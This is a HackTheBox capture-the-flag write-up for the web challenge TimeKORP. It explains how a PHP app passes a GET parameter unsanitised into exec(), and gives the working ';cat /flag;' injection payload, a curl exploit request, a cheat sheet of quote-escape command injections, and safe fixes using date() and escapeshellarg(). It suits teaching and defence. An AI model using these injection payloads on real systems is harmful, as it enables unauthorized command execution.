← Back to Writeups
HTBN/AWeb

TimeKORP

XESXOR8/23/20265 min read
#web#htb#n/a

TimeKORP

Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-02-17 | Status: Solved Techniques: Breaking out of single-quoted shell argument, OS command injection via single quote escape, Reading flag file via cat, Semicolon command separator

Summary

Task: PHP web app with date command. Solution: OS command injection via single quote escape in exec() call, breaking out of quoted shell argument to read /flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20260217_htb_timekorp
  • Tags: command_injection, rce, php, shell_injection, exec, single_quote_escape, date_command, mvc
  • Indicators: PHP exec() function with user-controlled input, User input concatenated into shell command string, Single quotes around user input (breakable), No use of escapeshellarg() or escapeshellcmd(), MVC structure with TimeModel calling system date command
  • Source: 20260217_htb_timekorp.md

Foothold

Vulnerability / Misconfiguration

  1. Breaking out of single-quoted shell argument
  2. OS command injection via single quote escape
  3. Reading flag file via cat
  4. Semicolon command separator
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • Breaking out of single-quoted shell argument
  • OS command injection via single quote escape
  • Reading flag file via cat
  • Semicolon command separator
  • Tags: command_injection, rce, php, shell_injection, exec, single_quote_escape, date_command, mvc

Original Writeup

<details><summary>Click to expand original content</summary>

TimeKORP — HackTheBox

Description

"Are you ready to unravel the mysteries and expose the truth hidden within KROP's digital domain? Join the challenge and prove your prowess in the world of cybersecurity. Remember, time is money, but in this case, the rewards may be far greater than you imagine."

Target: http://154.57.164.74:30639

Analysis

1. Reconnaissance — Source Code

Downloaded and extracted the archive with the task source code. Structure — PHP MVC application:

FilePurpose
TimeModel.phpModel — builds and executes shell command date
TimeController.phpController — accepts GET parameter format
index.phpEntry point
Router.phpRouting
DockerfileShows flag location: /flag

2. Vulnerable Code

challenge/models/TimeModel.php — command is built via concatenation:

<?php
class TimeModel
{
    public function __construct($format)
    {
        $this->command = "date '+" . $format . "' 2>&1";
    }

    public function getTime()
    {
        $time = exec($this->command);
        $res  = isset($time) ? $time : '?';
        return $res;
    }
}

challenge/controllers/TimeController.php — user input is passed without filtering:

<?php
class TimeController
{
    public function index($router)
    {
        $format = isset($_GET['format']) ? $_GET['format'] : '%H:%M:%S';
        $time = new TimeModel($format);
        return $router->view('index', ['time' => $time->getTime()]);
    }
}

3. Vulnerability Chain

GET /?format=PAYLOAD
    → TimeController: $format = $_GET['format']  (no sanitization)
    → TimeModel: "date '+" . $format . "' 2>&1"  (concatenation into shell command)
    → exec($this->command)                        (execution via shell)

Problem: GET parameter format is directly concatenated into the shell command string passed to exec(). Although user input is placed inside single quotes ('), this is not a protection — it's enough to close the quote and insert an arbitrary command.

Solution

Step 1: Building the Payload

Command template:

date '+FORMAT' 2>&1

Payload: ';cat /flag;'

After substitution the command becomes:

date '+';cat /flag;'' 2>&1

Breakdown:

  1. date '+' — executes date with empty format (harmless)
  2. ; — command separator
  3. cat /flag — reading the flag
  4. ;'' — empty string, absorbs the remaining closing quote

Step 2: Exploitation

curl -s "http://154.57.164.74:30639/?format=%27%3Bcat+/flag%3B%27"

URL-encoding of payload:

  • '%27
  • ;%3B
  • space → +

The flag was returned in the HTML response.

Single Quote Escape — Cheat Sheet

Breaking out of single quotes in shell

# Original command:
date '+FORMAT' 2>&1

# Payload to escape quotes:
';COMMAND;'          # Close quote, execute command, open empty quote
'$(COMMAND)'         # DOES NOT WORK — $() is not expanded inside single quotes
'+COMMAND+'          # DOES NOT WORK — no quote escape

# Working variants:
';id;'               # → date '+';id;'' 2>&1
';cat /flag;'        # → date '+';cat /flag;'' 2>&1
';ls -la /;'         # → date '+';ls -la /;'' 2>&1

PHP Command Injection — Safe Alternatives

DangerousSafe
exec("date '+$format'")date($format) — built-in PHP function
system("ping $host")escapeshellarg($host) + exec()
Concatenation into shell stringproc_open() with argument array

Defense

<?php
// CORRECT: use built-in PHP date() function
class TimeModel
{
    public function __construct($format)
    {
        $this->format = $format;
    }

    public function getTime()
    {
        // Safe: no shell call
        return date($this->format);
    }
}

// If shell call is necessary:
class TimeModelSafe
{
    public function __construct($format)
    {
        // escapeshellarg() wraps in quotes AND escapes special characters
        $safe = escapeshellarg('+' . $format);
        $this->command = "date " . $safe . " 2>&1";
    }

    public function getTime()
    {
        $time = exec($this->command);
        return isset($time) ? $time : '?';
    }
}

Key principles:

  1. Don't call shell for tasks solvable by built-in functionsdate() in PHP instead of exec("date ...")
  2. Always use escapeshellarg() when passing user input to shell
  3. Validate format — whitelist of allowed characters for date format (%H, %M, %S, etc.)
  4. Dockerfile as information source — always study to understand container structure
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR